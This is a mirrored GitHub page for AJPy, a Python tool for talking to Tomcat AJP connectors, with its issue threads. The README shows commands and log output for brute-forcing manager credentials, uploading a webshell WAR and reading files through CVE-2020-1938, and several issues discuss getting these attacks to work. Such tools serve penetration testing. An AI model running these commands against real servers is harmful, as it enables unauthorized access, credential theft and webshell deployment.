Giter Club home page Giter Club logo

ajpy's Introduction

Intro

AJPy aims to craft AJP requests in order to communicate with AJP connectors.

Reference documentation: https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html

Tools

At the moment, only one tool is provided for Tomcat with the following modules:

  • version fingerprint
$ python tomcat.py version 172.17.0.2
Apache Tomcat/8.0.35
  • authentication bruteforce
$ python tomcat.py -v  bf -U tomcat_mgr_default_users.txt -P tomcat_mgr_default_pass.txt /manager/html 172.17.0.2
[2016-06-10 17:24:55.965] INFO     Attacking a tomcat at ajp13://172.17.0.2:8009/manager/html
[2016-06-10 17:24:56.017] DEBUG    testing admin:admin
[2016-06-10 17:24:56.069] INFO     Found valid credz: admin:admin
[2016-06-10 17:24:56.069] INFO     Here is your cookie: JSESSIONID=1267BE97BFB5BFAEAFAAD76EE648FE06; Path=/manager/; HttpOnly
[2016-06-10 17:24:56.069] DEBUG    testing admin:manager
[2016-06-10 17:24:56.152] DEBUG    testing admin:role1
[2016-06-10 17:24:56.154] DEBUG    testing admin:root
[2016-06-10 17:24:56.155] DEBUG    testing admin:tomcat
[2016-06-10 17:24:56.157] DEBUG    testing manager:admin
[2016-06-10 17:24:56.158] DEBUG    testing manager:manager
[2016-06-10 17:24:56.159] DEBUG    testing manager:role1
[2016-06-10 17:24:56.160] DEBUG    testing manager:root
[2016-06-10 17:24:56.161] DEBUG    testing manager:tomcat
[2016-06-10 17:24:56.164] DEBUG    testing role1:admin
[2016-06-10 17:24:56.164] DEBUG    testing role1:manager
[2016-06-10 17:24:56.165] DEBUG    testing role1:role1
[2016-06-10 17:24:56.166] DEBUG    testing role1:root
[2016-06-10 17:24:56.167] DEBUG    testing role1:tomcat
[2016-06-10 17:24:56.169] DEBUG    testing root:admin
[2016-06-10 17:24:56.170] DEBUG    testing root:manager
[2016-06-10 17:24:56.171] DEBUG    testing root:role1
[2016-06-10 17:24:56.172] DEBUG    testing root:root
[2016-06-10 17:24:56.173] DEBUG    testing root:tomcat
[2016-06-10 17:24:56.175] DEBUG    testing tomcat:admin
[2016-06-10 17:24:56.175] DEBUG    testing tomcat:manager
[2016-06-10 17:24:56.176] DEBUG    testing tomcat:role1
[2016-06-10 17:24:56.177] DEBUG    testing tomcat:root
[2016-06-10 17:24:56.178] DEBUG    testing tomcat:tomcat
[2016-06-10 17:24:56.184] INFO     Found valid credz: tomcat:tomcat
[2016-06-10 17:24:56.184] INFO     Here is your cookie: JSESSIONID=9944126F31E428B8847AFEBF2307BB09; Path=/manager/; HttpOnly
[2016-06-10 17:24:56.184] DEBUG    testing tomcat:sstic2016
[2016-06-10 17:24:56.186] DEBUG    testing both:admin
[2016-06-10 17:24:56.187] DEBUG    testing both:manager
[2016-06-10 17:24:56.188] DEBUG    testing both:role1
[2016-06-10 17:24:56.189] DEBUG    testing both:root
[2016-06-10 17:24:56.190] DEBUG    testing both:tomcat
[2016-06-10 17:24:56.191] DEBUG    Closing socket...
  • WAR upload
$ python tomcat.py upload -u tomcat -p tomcat webshell.war 172.17.0.2
  • WAR undeploy
$ python tomcat.py undeploy -u tomcat -p tomcat /webshell 172.17.0.2
  • Application listing
$ python tomcat.py list -u tomcat -p tomcat 172.17.0.2
  • Reading file using CVE-2020-1938
$ python tomcat.py read_file --webapp=examples /WEB-INF/web.xml 172.17.0.2

Thanks

  • @MrTchuss for the Tomcat WAR upload fix
  • @kalidor for the Tomcat WAR undeploy and application listing

ajpy's People

Contributors

fabaff avatar hypn0s avatar hypn0s-bb avatar kalidor avatar maraflush avatar mrtchuss avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar

ajpy's Issues

Failed to get CSRF token.

this is the command i run in the powershell:
python tomcat.py upload -u admin -p admin Linuxx.war 192.168.0.103

Traceback (most recent call last):
File "tomcat.py", line 366, in
bf.upload(args.filename, args.user, args.password, args.old_version, args.headers)
File "tomcat.py", line 177, in upload
deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
TypeError: 'NoneType' object is not iterable

ConnectionRefusedError

Hi Julien

Thanks for the scripts. I am having a few issues while trying to use them, not sure if I am following the right steps.

Did not work code:
mymac:AJPy cd$ python tomcat.py version 10.2.2.11 --port 20022 usage: tomcat.py [-h] [--port PORT] [-v] {bf,upload,undeploy,version,list,read_file} ... target tomcat.py: error: unrecognized arguments: 10.2.2.11 --port

mymac:AJPy cd$ python tomcat.py list 10.2.2.11 Traceback (most recent call last): File "tomcat.py", line 355, in <module> bf = Tomcat(args.target, args.port) File "tomcat.py", line 78, in __init__ self.socket.connect((target_host, target_port)) ConnectionRefusedError: [Errno 61] Connection refused

This server was vulnerable but the script came back with no.

mymac:AJPy chandan$ python tomcat.py version 10.2.2.12 None

License unclear

Hi Julien,

I am about to package AJPy for Debian, but found out that the license of AJPy isn't well defined. The header in ajp.py looks like a BSD license, but since you didn't include it completely, I can't know if it's a BSD-2, 3 or 4 clause. Can you clarify this point?

Thanks for your work !

Create a pip package

Hey,

First of, great job.

Could you consider create a pip package (and publish it to Pypi) for your library so it can be reused in other tool ? I'm mostly thinking of patator, for which it would not take a lot of effort to integrate and add AJP support.

Cheers

Bruteforce feature not compatible python3

Oy!

The credentials bruteforce feature silently fails due to multiple operations in test_password expecting bytes instead of str.

For example:

def test_password(self, user, password):
		res = False
		stop = False
		self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + b64encode("%s:%s" % (user, password)).replace('\n', '')

b64encode is expecting bytes.

Add support to other application containers

A script should be able to handle the following application servers:

  • Apache Tomcat
  • Apache Geronimo
  • JBoss
  • Jetty
  • Oracle Glassfish
  • Oracle Application Server
  • Oracle WebLogic Server
  • Resin web server
  • IBM WebSphere
  • Adobe ColdFusion
  • WebObjects
  • SAP NetWeaver Application Server
  • Payara Server

Maybe create a ajpwn.py with modules.

Unable to read response content when HTTP_METHOD==POST.

Looking in the method send_and_receive() in AjpForwardRequest there are the lines:

		res = []
		i = socket.sendall(self.serialize())
		if self.method == AjpForwardRequest.POST:
			return res

Is there no way to read the payload response when performing a POST?

two question about read file

Hello, I have some questions for you.

first:

if I want to read file in ROOT, what should I do?

for example:

a file is D:\ALL\javaidea\apache-tomcat-8.5.50-src\source\webapps\test.txt

Can I read this? I tried a lot, but I couldn't solve it.:(

second: Can I read it in springboot?

also, I tried a lot, but I couldn't solve it.:(

Timeout error when using "read_file" functionality

Hey there!

I ran across this lib while looking for ways to check for the recent "Ghostcat" CVE. When trying to use the code (both as a lib and using the standalone tomcat.py script) to check for the vuln on a testing host, I encounter timeouts when waiting on a socket. Here's the stacktrace I get when running tomcat.py.

sh-3.2# python tomcat.py version <VULNERABLE HOSTNAME>
Apache Tomcat/8.5.32
sh-3.2# python tomcat.py read_file --webapp=manager /WEB-INF/web.xml <VULNERABLE HOSTNAME>
Traceback (most recent call last):
  File "tomcat.py", line 377, in <module>
    hdrs, data = bf.perform_request("/" + args.webapp + "/xxxxx.jsp", attributes=attributes)
  File "tomcat.py", line 153, in perform_request
    responses = self.forward_request.send_and_receive(self.socket, self.stream)
  File "/.../AJPy/ajpy/ajp.py", line 274, in send_and_receive
    r = AjpResponse.receive(stream)
  File "/.../AJPy/ajpy/ajp.py", line 380, in receive
    r.parse(stream)
  File "/.../AJPy/ajpy/ajp.py", line 337, in parse
    self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
  File "/.../AJPy/ajpy/ajp.py", line 44, in unpack
    buf = stream.read(size)
  File "/usr/local/Cellar/python/3.7.6_1/Frameworks/Python.framework/Versions/3.7/lib/python3.7/socket.py", line 589, in readinto
    return self._sock.recv_into(b)
TimeoutError: [Errno 60] Operation timed out

As you can see, I can get the server version correctly from the first call, so there's no issue with connectivity to the host. I'm on MacOS using Python version 3.7.6 (installed via homebrew). Any insight into what's up would be helpful.

Submit a bug

Hello, author. I found that you have a problem when the matching version, in the regular match out, I do not know whether your space is intentional or unintentional, through my practice encountered the version does not match the problem, has now been removed fixed.

run error

/AJPy/ajpy/ajp.py

kali2020.4
python 2.7.18

def unpack(stream, fmt): print stream, fmt size = struct.calcsize(fmt) print size buf = stream.read(size) print buf if "" in buf: print "error" return struct.unpack(fmt, buf)

`<socket._fileobject object at 0x7f4b45690ad0> >HHb
5

error
Traceback (most recent call last):
File "tomcat.py", line 378, in
hdrs, data = bf.perform_request("/" + args.webapp + "/xxxxx.jsp", attributes=attributes)
File "tomcat.py", line 154, in perform_request
responses = self.forward_request.send_and_receive(self.socket, self.stream)
File "。。。。。。。。。。。/AJPy-master/ajpy/ajp.py", line 279, in send_and_receive
r = AjpResponse.receive(stream)
File "。。。。。。。。。。。/AJPy-master/ajpy/ajp.py", line 385, in receive
r.parse(stream)
File "。。。。。。。。。。。/AJPy-master/ajpy/ajp.py", line 342, in parse
self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
File "。。。。。。。。。。。/AJPy-master/ajpy/ajp.py", line 50, in unpack
return struct.unpack(fmt, buf)
struct.error: unpack requires a string argument of length 5
`

Fix POST method support

Add the support for the POST method in order to upload webshell WAR through Tomcat manager.

Currently, the WAR upload fails with the following error:

FAIL - Invalid context path null was specified

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.